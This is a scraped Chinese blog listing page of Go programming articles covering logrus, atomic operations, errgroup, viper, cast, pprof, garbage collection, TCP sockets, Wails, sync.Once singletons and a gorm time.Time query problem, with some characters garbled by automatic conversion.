更多文章:https://oscome.cn/引言作为 github 上 golang star 最多的库,logrus值得练习。 我的项目地址我的项目地址: https://github.com/sirupsen/l... [star:21.4k]应用场景日志打印、格式化日志装置go get github.com/sirupsen/logrus罕用办法Info 打印 info 级别的日志SetFormatter 设置日志格局SetLevel 设置打印的级别,此级别以上显示SetReportCaller 设置是否将调用办法作为字段蕴含在打印的日志内。例子package mainimport "github.com/sirupsen/logrus"func main() { log := logrus.New() log.Info("------TextFormatter--------") // 默认格局 log.SetFormatter(&logrus.TextFormatter{ TimestampFormat: "2006-01-02 15:04:05", // 定义日期工夫格局 FullTimestamp: true, DisableColors: true, }) log.Info("oscome info log") log.Debug("oscome debug log") log.WithFields(logrus.Fields{ "name": "test", }).Infof("to do %v", "log") log.Info("------JSONFormatter--------") formatter := &logrus.JSONFormatter{ TimestampFormat: "2006-01-02 15:04:05", // 定义日期工夫格局 DataKey: "test", // key FieldMap: logrus.FieldMap{ logrus.FieldKeyTime: "timestamp", logrus.FieldKeyLevel: "level", logrus.FieldKeyMsg: "message", logrus.FieldKeyFunc: "caller", }, } log.SetFormatter(formatter) log.SetReportCaller(true) // 打印 log 产生的地位 log.SetLevel(logrus.InfoLevel) // debug logrus.Info("oscome info log") log.Debug("oscome debug log") log.WithFields(logrus.Fields{ "name": "test", }).Infof("to do %v", "log")}实例代码https://github.com/oscome/god... ...

October 9, 2022 · 1 min · jiezi

关于go:29-GolangGo并发编程并发编程

 Go语言为咱们提供了基于消息传递CSP并发模型,基于管道 + 协程能够很不便的编写高并发服务,然而在某些场景下,或多或少还是须要应用到锁,本篇文章次要介绍除了管道chan之外的常见并发编程模式。 原子操作 atomic 古代计算机都是多核CPU,每个CPU还有本人的高速缓存,主存中局部数据会被缓存在高速缓存中,CPU拜访数据时会先从高速缓存中查找。那如果同一块内存地址同时被缓存在核0与核1的L2级高速缓存呢?此时如果核0与核1同时批改该地址内容,则会造成抵触。(参考深刻了解计算机系统第六章,以Intel Core i7处理器为例,其有四个核,且每个核都有本人的L1和L2高速缓存)。 平时咱们认为的一些原子操作(不会有并发问题的操作),如赋值操作,取值操作等,在多核CPU架构下都有可能产生并发问题;另外还有一些常见语句,如a += b等也有并发问题。所以在某些场景,咱们须要想方法防止并发问题,怎么办呢?Go语言sync/atomic包为咱们提供了一些常见的原子操作,应用这些办法不必放心并发问题。 //数据加载func LoadInt32(addr *int32) (val int32)//数据保留func StoreInt32(addr *int32, val int32)//比拟替换操作,如果addr地址的数据等于old,则赋值为newfunc CompareAndSwapInt32(addr *int32, old, new int32) (swapped bool)//addr地址的数据累加加deltafunc AddInt32(addr *int32, delta int32) (new int32) 这些办法底层是怎么实现的呢?数据加载与保留还好了解一些,比拟替换以及数据累加,编译成汇编指令后,显著须要好几步操作能力实现,怎么做到原子的呢?其实还有一些咱们不晓得的指令,语义上尽管比较复杂,但却是一条指令: /* * 比拟替换指令 * "cmpxchgl r, [m]": * * if (eax == [m]) { * zf = 1; * [m] = r; * } else { * zf = 0; * eax = [m]; * } *//* 累加指令 * "xaddl r, [m]": * * temp = [m]; * [m] += r; * r = temp; */ 那下面提到的高速缓存的问题怎么解决呢?目前处理器都提供有lock指令;其能够锁住总线,其余CPU对内存的读写申请都会被阻塞,直到锁开释;不过目前处理器都采纳锁缓存代替锁总线(锁总线的开销比拟大),即lock指令会锁定一个缓存行。当某个CPU收回lock信号锁定某个缓存行时,其余CPU会使它们的高速缓存该缓存行生效,同时检测是对该缓存行中数据进行了批改,如果是则会写所有已批改的数据;当某个高速缓存行被锁定时,其余CPU都无奈读写该缓存行;lock后的写操作会及时会写到内存中。 ...

October 9, 2022 · 3 min · jiezi

关于go:golang中的errgroup

0.1、索引https://waterflow.link/articles/1665239900004 1、串行执行如果咱们须要查问一个课件列表,其中有课件的信息,还有课件创建者的信息,和课件的缩略图信息。然而此时咱们曾经对服务做了拆分,假如有课件服务和用户服务还有文件服务。 咱们通常的做法是,当咱们查问课件列表时,咱们首先调用课件服务,比方查问10条课件记录,而后获取到课件的创建人ID,课件的缩略图ID;再通过这些创建人ID去用户服务查问用户信息,通过缩略图ID去文件服务查问文件信息;而后再写到这10条课件记录中返回给前端。 像上面这样: package mainimport ( "fmt" "time")type Courseware struct { Id int64 Name string Code string CreateId int64 CreateName string CoverId int64 CoverPath string}type User struct { Id int64 Name string}type File struct { Id int64 Path string}var coursewares []Coursewarevar users map[int64]Uservar files map[int64]Filevar err errorfunc main() { // 查问课件 coursewares, err = CoursewareList() if err != nil { fmt.Println("获取课件谬误") return } // 获取用户ID、文件ID userIds := make([]int64, 0) fileIds := make([]int64, 0) for _, courseware := range coursewares { userIds = append(userIds, courseware.CreateId) fileIds = append(fileIds, courseware.CoverId) } // 批量获取用户信息 users, err = UserMap(userIds) if err != nil { fmt.Println("获取用户谬误") return } // 批量获取文件信息 files, err = FileMap(fileIds) if err != nil { fmt.Println("获取文件谬误") return } // 填充 for i, courseware := range coursewares { if user, ok := users[courseware.CreateId]; ok { coursewares[i].CreateName = user.Name } if file, ok := files[courseware.CoverId]; ok { coursewares[i].CoverPath = file.Path } } fmt.Println(coursewares)}func UserMap(ids []int64) (map[int64]User, error) { time.Sleep(3 * time.Second) // 模仿数据库申请 return map[int64]User{ 1: {Id: 1, Name: "liu"}, 2: {Id: 2, Name: "kang"}, }, nil}func FileMap(ids []int64) (map[int64]File, error) { time.Sleep(3 * time.Second) // 模仿数据库申请 return map[int64]File{ 1: {Id: 1, Path: "/a/b/c.jpg"}, 2: {Id: 2, Path: "/a/b/c/d.jpg"}, }, nil}func CoursewareList() ([]Courseware, error) { time.Sleep(3 * time.Second) return []Courseware{ {Id: 1, Name: "课件1", Code: "CW1", CreateId: 1, CreateName: "", CoverId: 1, CoverPath: ""}, {Id: 2, Name: "课件2", Code: "CW2", CreateId: 2, CreateName: "", CoverId: 2, CoverPath: ""}, }, nil}2、并发执行但咱们获取课件之后,填充用户信息和文件信息是能够并行执行的,咱们能够批改获取用户和文件的代码,把他们放到协程外面,这样就能够并行执行了: ...

October 8, 2022 · 5 min · jiezi

关于go:带你可视化理解go内存

导语 | 本文推选自腾讯云开发者社区-【技思广益 · 腾讯技术人原创集】专栏。该专栏是腾讯云开发者社区为腾讯技术人与宽泛开发者打造的分享交换窗口。栏目邀约腾讯技术人分享原创的技术积淀,与宽泛开发者互启迪共成长。本文作者是腾讯后盾开发工程师邵珠光。 在解决内存泄露的时候,想到了一种从内存中查看哪些对象的问题,于是就对理论跑着的程序内存进行了解析,通过可视化的形式有助于了解go的内存布局和治理。 基础知识在本篇文章开始前,心愿你能够理解go的一些根本的内存常识,不须要太深刻,简略总结了如下几点: (一)内存布局内存布局包含内存对齐,一个构造体占用内存大小等。另外,对于go语言而言,其内存中的堆对象中自身并没有含有该对象的任何标识信息,例如类型等。在go语言中属性的布局与代码程序无关,不会进行主动调整。 (二)常见类型对于字符串类型,实际上它是一个具备两个属性的构造: type StringHeader struct { Data uintptr Len int}对于数组而言,它有三个属性: type SliceHeader struct { Data uintptr Len int Cap int}也就是说,如果咱们看到一个构造体中含有字符串,那么这个字符串占多少个字节呢?对于64位零碎而言就是16个字节,8个示意地址,另外8个示意长度。 测试代码(一)定义两个构造体首先咱们定义两个构造体: type User struct { Name string Age uint8 Sex uint8 class *Class} type Class struct { CName string Index uint}其中一个构造体蕴含了另外一个构造体,上面咱们来看下这两个构造体的布局格局(在64位零碎中)。 (二)Class的内存布局Class构造中只有两个属性,一个是字符串,另外一个是uint,对于后者而言在64位零碎中就是uint64,则它的构造包含了24个字节: cl := new(Class)fmt.Println(unsafe.Sizeof(*cl))fmt.Println(unsafe.Alignof(*cl))// 输入为:// 24// 8// 在内存中的构造应该如下:|0 - 7|8 - 15|16 - 23||0 - 7|:CName的指针|8 - 15|:CName的长度|16 - 23|:Index(三)User的内存布局User构造比较复杂,对于援用的Class而言,这就是一个指针而已,指针就是8字节,那么它的整体构造应该是占用了32个字节(特地关注uint8,该值只占用一个字节),构造如下: ...

October 8, 2022 · 12 min · jiezi

关于go:视频版Easy搞定Go语言设计模式

一、在线教学视频平台链接https://www.bilibili.com/vide...https://www.douyin.com/video/...二、提纲 三、原创文章作品文章《Easy搞定Golang设计模式》 四、源代码Github:https://github.com/aceld/Easy... Gitee:https://gitee.com/Aceld/EasySJMS 五、原创作品刘丹冰Aceld技术知识库https://www.yuque.com/aceld 《Golang涵养之路》 《8小时转职Golang工程师》 《zinx-Golang轻量级Tcp服务器框架》代表作品《Lars-基于C++负载平衡近程服务器调度零碎》 《libevent深入浅出》 《Nginx中文入门手册》 《Linux上Lua利用实战与人工智能》githubhttps://github.com/aceld

October 8, 2022 · 1 min · jiezi

关于go:go-酷之-urfavecli-命令行

引言urfave/cli是一个简略、疾速、乏味的包,用于在 Go 中构建命令行应用程序。指标是使开发人员可能以富裕表现力的形式编写疾速且可散发的命令行应用程序。 我的项目地址我的项目地址: https://github.com/urfave/cli [star:19k]应用场景构建命令行应用程序装置go get github.com/urfave/cli/v2罕用办法Run 运行例子作为一个命令行工具,urfave/cli 足够好用,你能够自定义参数、版本、阐明...... 咱们来个 ,参数阐明可看备注。 package mainimport ( "fmt" "log" "os" "github.com/urfave/cli/v2")func main() { var language string app := &cli.App{ Name: "godaily day003", // cli name Version: "v13", // cli version Usage: "godaily day003 test", // usage Flags: []cli.Flag{ // 承受的 flag &cli.StringFlag{ // string Name: "lang", // flag 名称 Aliases: []string{"l"}, // 别名 Value: "english", // 默认值 Usage: "language for the greeting", Destination: &language, // 指定地址,如果没有能够通过 *cli.Context 的 GetString 获取 Required: true, // flag 必须设置 }, }, Action: func(c *cli.Context) error { name := "who" if c.NArg() > 0 { name = c.Args().Get(0) } if language == "chinese" { fmt.Println("你好啊", name) } else { fmt.Println("Hello", name) } return nil }, } if err := app.Run(os.Args); err != nil { log.Fatal(err) }}运行一下 ...

October 8, 2022 · 1 min · jiezi

关于go:28-GolangGo并发编程panic-defer-recover

 在Go程序中defer特地常见,通常用来执行一些清理工作,须要留神defer先入后出个性(先申明的后执行);panic意味着一些出其不意的谬误产生,Go程序在panic异样退出的时候,会打印运行时栈不便排查问题;panic的谬误能够被recover捕捉,从而防止Go程序的退出,然而要留神recover只能在defer中,其余任何中央申明的recover是不能捕捉panic的。 panic/defer/recover根本应用 Go程序的defer具备延后执行的能力,因而通常用来执行一些清理工作,例如文件的敞开,锁的开释等等。如上面事例所示: package mainimport "sync"var lock = sync.Mutex{}func main() { //1.承受到申请 //2.解决申请 doRequest() //3.申请响应}//申请不能并行执行,所以须要加锁func doRequest() { lock.Lock() defer lock.Unlock() //临界区代码逻辑 //这么执行也行,然而如果临界区呈现panic,锁将无奈开释 //lock.Unlock()} 语句defer lock.Unlock()并没有立刻执行锁的开释操作,而是申明了一个延后执行操作,当doRequest函数返回时,会执行以后函数申明的defer操作,也就是doRequest函数返回时,才真正的开释锁。为什么要这么写呢?个别不是加锁,临界区代码,开释锁吗?想想如果临界区代码呈现panic呢?这时候还能执行锁的开释操作吗?而一旦锁没有胜利开释,后续其余申请不就全副阻塞了? 这一点肯定要切记,针对一些资源的敞开,锁的开释等操作,肯定在defer执行,否则就有可能呈现死锁,资源泄露等等状况。 咱们看到,doRequest执行结束返回时,才真正执行defer申明,那如果一个函数内申明了多个defer呢?函数返回时defer的执行程序是怎么样的呢?如上面的事例: package mainimport "fmt"func main() { for i := 0; i < 5; i ++ { defer fmt.Println(i) }} 这段程序输入什么呢?其实这里波及两个问题:1)defer执行程序;2)defer传参问题。须要留神的是,在申明defer fmt.Println时,参数i作为fmt.Println函数的输出参数,值曾经明确了,且封装进interface数据类型,所以最终执行fmt.Println函数时,输入的是5个不同的值。另外,defer是先申明后执行的,所以最终执行程序应该反着来看,输入 4-3-2-1-0。 panic意味着一些出其不意的谬误产生,Go程序在panic异样退出的时候,会打印运行时栈不便排查问题,例如map如果没有初始化,执行操作会panic;空指针援用也会panic;数组越界也会panic等等。如上面程序所示: package mainfunc main() { var data map[string]int data["test"] = 1}/*panic: assignment to entry in nil mapgoroutine 1 [running]:main.main() /test.go:6 +0x2e*/ 当然,咱们也能够通过panic函数手动抛出panic,留神Go程序在遇到panic时可是会异样退出的,个别为了防止程序退出,咱们会应用recover捕捉panic,只是须要记得recover只能在defer中。如上面程序所示: ...

October 8, 2022 · 3 min · jiezi

关于go:用自己的编程语言实现了一个网站增强版

前言前段时间在《用本人的编程语言实现了一个网站》用介绍了用 GScript 写的一个简略“网站”,尽管是打上引号的;页面长这样: 看起来的确十分的挫,其实之前始终也想做一个 GScript 的在线 playground ,于是国庆期间学了一点 皮毛 Vue 加上老弟的帮忙(他是前端开发),最终实现了上面这个网站: https://gscript.crossoverjie.top/ ❤打印源码参考了:https://wa-lang.org/playground/在这里能够在线运行 GScript 代码,借助于前端的代码编辑器插件甚至还能有一些语法提醒。 不过有些提醒与 GScript 的语法不兼容,毕竟编辑器的提醒是基于 JavaScript 的语法。 内置了几个 demo,能够抉择运行试试。 同时也反对查看 AST 树和 symbol 符号表。 尽管显示上还有待优化。 整个后端接口全都是用 GScript 原生代码编写的,所以这也算是 GScript 的一个理论利用案例。 代码示例 理论代码量也并不多,将前端输出的代码写入到一个临时文件,再调用 OS 的 command api 在本地执行 GScript 脚本命令,最初将规范输入和谬误返回即可。 版本更新为了能实现上述的需要,所以本次也更新了 GScript 的版本,新增了一些内置 API。 次要是新增了 playground 须要的一些 OS api、文件写入、执行系统命令、日期相干等。 同时将同一类的 API 合并到一个 class 中,不便前期保护与调用。 编译谬误除此之外也新增了一些易用性能,比方当初提供了更敌对的编译错误信息: 运行时谬误运行时的异样当初也有对应提醒: 只不过目前的显示还不太敌对,打印的堆栈还是 Go 的,之后会优化为只显示 GScript 的堆栈。 总结有了在线的 playground 后使得对 GScript 感兴趣的门槛更低了一些,欢送大家试用。 ...

October 8, 2022 · 1 min · jiezi

关于go:go-酷之viper-配置读取

引言viper 是一个用于读取配置文件的库。如果你须要读取配置文件,那么 viper 足够好用。 我的项目地址我的项目地址: https://github.com/spf13/viper [star:20.7k]应用场景读取配置装置go get github.com/spf13/viper罕用办法SetConfigFile 定义配置文件ReadInConfig 读取配置文件GetString 获取某个key的配置WatchConfig 监听配置OnConfigChange 定义配置扭转对应的操作例子咱们能够减少一个文件 # oscome.yamlname: oscomemode: debuglog: level: debug咱们能够应用 viper 读取这个配置文件,并且配合 fsnotify 监听配置,监听的益处就在于运行中配置简直实时失效,无需重启服务。 package day002import ( "fmt" "testing" "time" "github.com/fsnotify/fsnotify" "github.com/spf13/viper")func read() { viper.AddConfigPath(".") // 还能够在工作目录中查找配置 viper.SetConfigFile("oscome.yaml") // 指定配置文件门路(这一句跟上面两行合起来表白的是一个意思) // viper.SetConfigName("oscome") // 配置文件名称(无扩展名) // viper.SetConfigType("yaml") // 如果配置文件的名称中没有扩展名,则须要配置此项 err := viper.ReadInConfig() // 配置文件 if err != nil { panic(fmt.Errorf("Fatal error config file: %s \n", err)) }}func TestViper(t *testing.T) { read() t.Log(viper.GetString("name")) t.Log(viper.GetString("log.level"))}func TestWatch(t *testing.T) { read() t.Log(viper.GetString("name")) viper.WatchConfig() viper.OnConfigChange(func(e fsnotify.Event) { fmt.Println("Config file changed:", e.Name) read() t.Log(viper.GetString("name")) t.Log(viper.GetString("log.level")) }) time.Sleep(100 * time.Second)}成果如图: ...

October 7, 2022 · 2 min · jiezi

关于go:go-库之cast-类型转换

引言还在为golang麻烦的类型转换懊恼吗? 无妨试下 spf13 大神的 cast 吧。 我的项目地址我的项目地址: https://github.com/spf13/cast[star:2.5k]应用场景类型转换装置go get github.com/spf13/cast罕用办法ToString 转换为字符串ToInt 转换为 intToBool 转换为布尔值ToTime 转换为 time.TimeToStringE 转换为字符串,返回字符串和error例子package day001import ( "testing" "github.com/spf13/cast")func TestCast(t *testing.T) { t.Log("cast.ToString") t.Log(cast.ToString("https://oscome.cn")) t.Log(cast.ToString(8.88)) t.Log(cast.ToString([]byte("https://oscome.cn"))) var abc interface{} = "https://oscome.cn" t.Log(cast.ToString(abc)) t.Log("cast.ToInt") t.Log(cast.ToInt("8")) // 前面+E 能够多返回一个 error 参数 t.Log(cast.ToInt64E("8.99")) t.Log("cast.ToInt") t.Log(cast.ToBool("1")) t.Log(cast.ToBool("8.99"))}成果如下: cast 能做的不止如此,除了常见类型,还提供了工夫类办法 ToTime、ToDuration,甚至还有切片类转换 ToStringSlice、ToStringMap,弱小又好用。本人入手试一试吧! func TestCastMore(t *testing.T) { t.Log("cast.ToTime") t.Log(cast.ToTime("2022-01-02 01:01:01 +0000 UTC")) t.Log("cast.ToDuration") t.Log(cast.ToDuration(1e9)) t.Log("cast.ToStringSlice") t.Log(cast.ToStringSlice([]int{1, 3}))}实例代码https://github.com/oscome/god... tips局部字符转换可能不如意,比方 cast.ToInt64E("8.99") 得出的是0,而不是8or9,起因能够尝试读一下源码,也不简单。办法后+E,能够多返回一个参数 error,比方 ToIntE。源码解读cast 库的源码比较简单,相熟语法的应该都能看明确。 ...

October 6, 2022 · 2 min · jiezi

关于go:go性能工具pprof

Go 语言自带的 pprof 库就能够分析程序的运行状况,并且提供可视化的性能。它蕴含两个相干的库: runtime/pprof对于只跑一次的程序,例如每天只跑一次的离线预处理程序,调用 pprof 包提供的函数,手动开启性能数据采集。net/http/pprof对于在线服务,对于一个 HTTP Server,拜访 pprof 提供的 HTTP 接口,取得性能数据。当然,实际上这里底层也是调用的 runtime/pprof 提供的函数,封装成接口对外提供网络拜访。因为本人用gin比拟多,所以应用github.com/gin-contrib/pprof,其实外部也就是下面两个库。应用非常简单。 var debugHttp *http.Serverfunc runPPROF() { g := gin.New() g.Use(gin.Recovery()) g.Use(gin.Logger()) pprof.Register(g) // 应用9000端口开启http服务 debugHttp = &http.Server{ Addr: ":9000", Handler: g, } debugHttp.ListenAndServe()}开启之后能够web拜访 http://127.0.0.1:9000/debug/p...能够查看实时数据, 当然也能够查看某个时间段的性能状况: // 监听60s性能状况,默认进入命令行go tool pprof http://127.0.0.1:9000/debug/pprof/profile\?seconds\=60 // 本地启动http服务查看,须要装graphviz插件go tool pprof -http=:8080 ~/pprof/pprof.go.samples.cpu.032.pb.gz 能够切换看占用最高的,还有火焰图等等,相当好用,个别性能瓶颈就在占用比拟多的。 PS: 有时候线上可能没有开启,也能够应用perf去debug查看占用资源比拟多的。 // 19323 端口号perf record -p 19323perf report首发于blog https://github.13sai.com/2022/01/29/385/

October 5, 2022 · 1 min · jiezi

关于go:golang垃圾回收

0.1、索引https://waterflow.link/articles/1664943418972 文中提到的垃圾回收算法是基于go1.16之后的,让咱们间接进入正题吧。 1、什么时候须要垃圾回收? Go 更喜爱在堆栈上分配内存,因而大多数内存调配最终都会在栈上。 这意味着 Go 每个 goroutine 都有一个堆栈,并且在可能的状况下,Go 会将变量调配给这个堆栈。 Go 编译器试图通过执行逃逸剖析来查看对象是否被内部变量援用。 如果编译器能够确定一个变量的生命周期,它将被调配到一个堆栈中。 然而,如果变量的生命周期不明确,它将在堆上调配。 通常,如果 Go 程序有一个指向对象的指针,则该对象存储在堆上。 看看这个示例代码: type myStruct struct { value int}var testStruct = myStruct{value: 0}func addTwoNumbers(a int, b int) int { return a + b}func myFunction() { testVar1 := 123 testVar2 := 456 testStruct.value = addTwoNumbers(testVar1, testVar2)}func someOtherFunction() { myFunction()}咱们假如这是一个正在运行的程序的一部分,因为如果这是整个程序,Go 编译器会通过将变量调配到堆栈中来优化它。 程序运行时: testStruct 被定义并搁置在堆上的一个可用内存块中。myFunction 在函数执行时被执行并调配一个栈。 testVar1 和 testVar2 都存储在此堆栈中。当 addTwoNumbers 被调用时,一个新的栈帧被压入栈中,并带有两个函数参数。当 addTwoNumbers 实现执行时,它的后果返回给 myFunction 并且 addTwoNumbers 的堆栈帧从堆栈中弹出,因为它不再须要了。指向 testStruct 的指针被定为到蕴含它的堆上的地位,并且值字段被更新。myFunction 退出并且为其创立的堆栈被清理。 testStruct 的值会始终保留在堆上,直到产生垃圾回收。testStruct 当初在堆上并且没有剖析,Go 运行时不晓得是否依然须要它。 为此,Go 依赖于垃圾回收器。 垃圾回收器有两个要害局部,一个 mutator 和一个回收器。 回收器执行垃圾收集逻辑并找到应该开释其内存的对象。 mutator 执行利用程序代码并将新对象调配给堆。 它还会在程序运行时更新堆上的现有对象,其中包含在不再须要某些对象时使其无法访问。 ...

October 5, 2022 · 1 min · jiezi

关于go:Go语言中常见错误

介绍下列的一些Go语言常见谬误可能对老手学习Go语言有很大帮忙 应用援用循环迭代器变量在Go中,循环迭代器变量在每一个循环中都会被赋予不同的值,这尽管无效,然而也会带来意想不到的谬误,比方上面的例子 func main() { var out []*int for i := 0; i < 3; i++ { out = append(out, &i) } fmt.Println("Values:", *out[0], *out[1], *out[2]) fmt.Println("Addresses:", out[0], out[1], out[2])}它将会输入 Values: 3 3 3Addresses: 0x40e020 0x40e020 0x40e020解释:在每次迭代中,咱们将i的地址附加到out切片中,但因为它是雷同的变量,所以咱们将附加雷同的地址,最终蕴含调配给i的最初一个值。解决方案之一是将循环变量复制到一个新变量中: for i := 0; i < 3; i++ {+ i := i // Copy i into a new variable. out = append(out, &i) }此时的输入是合乎预期的解释:行i:= i将循环变量i复制到一个新的变量作用域,该变量作用域位于for循环体块中,也称为i。新变量的地址是被附加到数组中的地址,这使得它比for循环体块的寿命更长。在每个循环迭代中创立一个新变量。 尽管这个例子可能看起来有点显著,但同样的意外行为可能在其余一些状况下暗藏得更多。例如,循环变量能够是一个数组,援用能够是一个切片: func main() { var out [][]int for _, i := range [][1]int{{1}, {2}, {3}} { out = append(out, i[:]) } fmt.Println("Values:", out)}输入: ...

October 5, 2022 · 1 min · jiezi

关于go:从零开始Wails2编写Web桌面应用

从零开始Wails2编写Web桌面利用前端要写桌面利用的话首先想到的必定是Electron,Electron的利用成熟度曾经半信半疑,但包体积始终是个令人头疼的问题。如果很在意体积问题,而且喜爱尝试新技术的话,在古代其余编程语言一直侵入前端生态的状况下,咱们抉择的眼光也不肯定要局限在JavaScript上。 Wails就是基于Go+Web技术的桌面应用程序生成的我的项目,其前端渲染层应用的是脱胎于Edge的WebView2,相比于Electron,打包编译体积小了十分多。微软的Teams 我的项目在此前从Electron切换到Webview2 内存耗费间接减半。两者更多的差别Electron Blog上有一篇文章能够查看:WebView2 and Electron。(Rust生态中热门的Tauri我的项目也是应用Webview2 作为渲染) 如果你是第一次接触Go或是查看Wails基础教程,能够配合wails-data-filter 我的项目代码,从零开始,感性认识一下如何实现一个简略的桌面利用: 装置环境指标平台是Windows10,咱们就在这里制作编译桌面利用。 须要装置两个依赖: NPM (Node 15+) 这个前端应该很相熟了,抉择版本适宜的Node即可。 Go 1.17+ 从https://go.dev/dl/下载Windows安装包。 装置胜利后在命令行下输出 go version如果返回版本信息即装置胜利。 如果报错提醒找不到,则须要检查一下零碎环境变量Path里是否有Go装置的目录,Windows默认装置在C:\Program Files\Go。如果存在,能够尝试从新关上命令行窗口或是重启一下。 几个相干的环境变量: GOROOT,装置目录门路GOPATH,开发工作区门路GOBIN,编译寄存的门路Wails 当能够运行Go之后就能够下载Go程序了,执行命令 go install github.com/wailsapp/wails/v2/cmd/[email protected]装置胜利后能够输出 wails doctor查看wails命令是否能正确运行,同时也会输入检查报告。按着提醒做相应操作即可。 创立我的项目wails 提供了创立命令init,比方须要生成Vue我的项目 wails init -n wails-vue -t vue须要应用TypeScript的话 wails init -n wails-vue -t vue-tsReact、原生JavaScript也一样,具体能够查看官网文档。 目录构造├── build/ # 我的项目构建目录│ ├── appicon.png │ ├── darwin/│ └── windows/├── frontend/ # 前端我的项目目录 能够放任意前端我的项目│ └── wailsjs/ # wails与前端通信的工具办法 会主动同步Go代码中的公共办法├── go.mod # Go的依赖管理文件├── go.sum # Go的依赖树校验文件├── main.go # 我的项目入口文件├── app.go # 我的项目App构造体定义└── wails.json # wails配置文件首次应用Go是类C语言,但比C语言弱小了不少,在编译、效率、开发难易度中尽力做出了均衡。所以有了C语言根底,对于Go的上手就能轻松不少。 ...

October 4, 2022 · 3 min · jiezi

关于go:一文带你玩透结构体和方法

构造体的根本定义和应用 package mainimport ( "fmt")//定义构造体类型Usertype User struct { username string "用户名" password string "明码" mail string "邮箱"}func main() { //初始化形式1 var user User user.username = "ttr" user.password = "abc123" user.mail = "[email protected]" fmt.Println(user) //初始化形式2 user1 := User{"chavis", "1qaz#EDC", "[email protected]"} fmt.Println(user1) //初始化形式3 user2 := User{username: "root", password: "[email protected]", mail: "[email protected]"} fmt.Println(user2)}构造体嵌套 package mainimport "fmt"type Device struct { ip string user string pwd string loginType string `登录类型`}type Idc struct { device Device num int addr string}func main() { idc := Idc{ device: Device{ip: "10.1.1.1", user: "root", pwd: "1qaz#EDC", loginType: "ssh"}, num: 907745, addr: "GZ", } fmt.Println(idc)}输入: ...

October 2, 2022 · 3 min · jiezi

关于go:golang中的socket编程

0.1、索引https://waterflow.link/articles/1664591292871 1、tcp的3次握手(建设连贯) 客户端的协定栈向服务器端发送了 SYN 包,并通知服务器端以后发送序列号 j,客户端进入 SYNC_SENT 状态;服务器端的协定栈收到这个包之后,和客户端进行 ACK 应答,应答的值为 j+1,示意对 SYN 包 j 的确认,同时服务器也发送一个 SYN 包,通知客户端以后我的发送序列号为 k,服务器端进入 SYNC_RCVD 状态;客户端协定栈收到 ACK 之后,使得应用程序从 connect 调用返回,示意客户端到服务器端的单向连贯建设胜利,客户端的状态为 ESTABLISHED,同时客户端协定栈也会对服务器端的 SYN 包进行应答,应答数据为 k+1;应答包达到服务器端后,服务器端协定栈使得 accept 阻塞调用返回,这个时候服务器端到客户端的单向连贯也建设胜利,服务器端也进入 ESTABLISHED 状态。2、tcp的4次挥手(敞开连贯) 一方应用程序调用 close,咱们称该方为被动敞开方,该端的 TCP 发送一个 FIN 包,示意须要敞开连贯。之后被动敞开方进入 FIN_WAIT_1 状态。接管到这个 FIN 包的对端执行被动敞开。这个 FIN 由 TCP 协定栈解决,咱们晓得,TCP 协定栈为 FIN 包插入一个文件结束符 EOF 到接收缓冲区中,应用程序能够通过 read 调用来感知这个 FIN 包。肯定要留神,这个 EOF 会被放在已排队等待的其余已接管的数据之后,这就意味着接收端应用程序须要解决这种异常情况,因为 EOF 示意在该连贯上再无额定数据达到。此时,被动敞开方进入 CLOSE_WAIT 状态。被动敞开方将读到这个 EOF,于是,应用程序也调用 close 敞开它的套接字,这导致它的 TCP 也发送一个 FIN 包。这样,被动敞开方将进入 LAST_ACK 状态。被动敞开方接管到对方的 FIN 包,并确认这个 FIN 包。被动敞开方进入 TIME_WAIT 状态,而接管到 ACK 的被动敞开方则进入 CLOSED 状态。进过 2MSL 工夫之后,被动敞开方也进入 CLOSED 状态。3、socket中的连贯建设和敞开 ...

October 1, 2022 · 4 min · jiezi

关于go:Golang-单例模式与syncOnce

Golang 单例模式与sync.Once背景单例模式能够说是最简略的设计模式之一了,性能很简略:一个类型的货色只实例化一次,全局只有一个实例,并提供办法来获取该实例。 在 Golang 中变量或阐明实例只初始化一次的成果通过init函数是能够实现的,包在被引入时就会执行一次init函数且无论同一包被引入多少次也都只执行一次。 不过本文次要想探讨的单例模式是第一次须要用到时才去初始化,也就是提早初始化。 不太好的单例实现// bad_singleton.gopackage mainimport ( "sync")var svcMu sync.Mutexvar svc *Svctype Svc struct { Num int}func GetSvc() *Svc { if svc == nil { // 这一步判断不是并发平安的 svcMu.Lock() defer svcMu.Unlock() if svc == nil { svc = &Svc{Num: 1} svc = &Svc{} svc.Num = 1 } } return svc}留神执行互斥锁svcMu.Lock()前的语句if svc == nil 并不是并发平安的,即在多个 goroutine 并发调用的场景下,其中的一个 goroutine 正在初始化这个变量svc的过程中,这里别的 goroutine 判断失去svc不等于nil的后果时也并不意味着svc就肯定实现初始化了。 因为在不足显式同步的状况下,编译器和CPU在能保障每个 goroutine 内满足串行一致性的根底上能够自在地重排拜访内存的指令程序。 比方svc = &Svc{Num: 1}这行看上去只是一条执行语句,可能重排后的一种实现是像上面这样的: ...

October 1, 2022 · 1 min · jiezi

关于go:使用gorm写入timeTime的类型时的问题

概述很大一部分gopher都是用过gorm,而time.Time类型也是大家罕用的类型,明天我就次要介绍一个在应用过程中遇到的一个比拟奇怪的问题。 问题景象形容gorm有一个debug模式,大家并不生疏,开启之后执行的每个sql都能够输入到终端。然而我却遇到了一个奇怪的问题,终端打印的sql显示扫描到0行数据,然而实际上把这个sql拿到数据库中执行是有后果的。 起因假如遇到这种问题,其实一开始会很莫名其妙,而后可能就会想到,是不是数据库执行的sql基本不是控制台打印进去的sql呢。因为where条件上是有工夫过滤条件的,过后其实曾经有一点狐疑是工夫的问题了,基于这个猜想,去验证并不艰难。 验证环节因为前面其实我曾经确定了是工夫的问题,咱们这里的验证改为一个简略的场景,不拿我过后的业务数据在这里阐明。我会从新构建一个最简略的场景(这样也不便大家亲自实际),而后捋分明这个过程。 筹备工作golang环境 我本地是1.18.2 实践上这个没什么影响,不要太低就好mysql环境(我过后理论业务是用的tidb,为了不便验证,间接应用docker运行一个mysql服务) 代码package mainimport ( "fmt" "gorm.io/driver/mysql" "gorm.io/gorm" "time")func main() { // 参考 https://github.com/go-sql-driver/mysql#dsn-data-source-name 获取详情 dsn := "root:[email protected](127.0.0.1:3306)/lv_test?charset=utf8mb4&parseTime=True&loc=Local" db, err := gorm.Open(mysql.Open(dsn), &gorm.Config{}) if err != nil { panic(err) } db = db.Debug() var result []*map[string]interface{} t := time.Now() fmt.Println(t) t = t.UTC() err = db.Table("test").Where("created_at>?", t).Find(&result).Error if err != nil { panic(err) }}下面的代码是一个最小的验证单元 能够通过上面的命令开启通用日志以及查看日志地位 set global general_log=on;show variables like 'general_log_file';执行执行golang代码 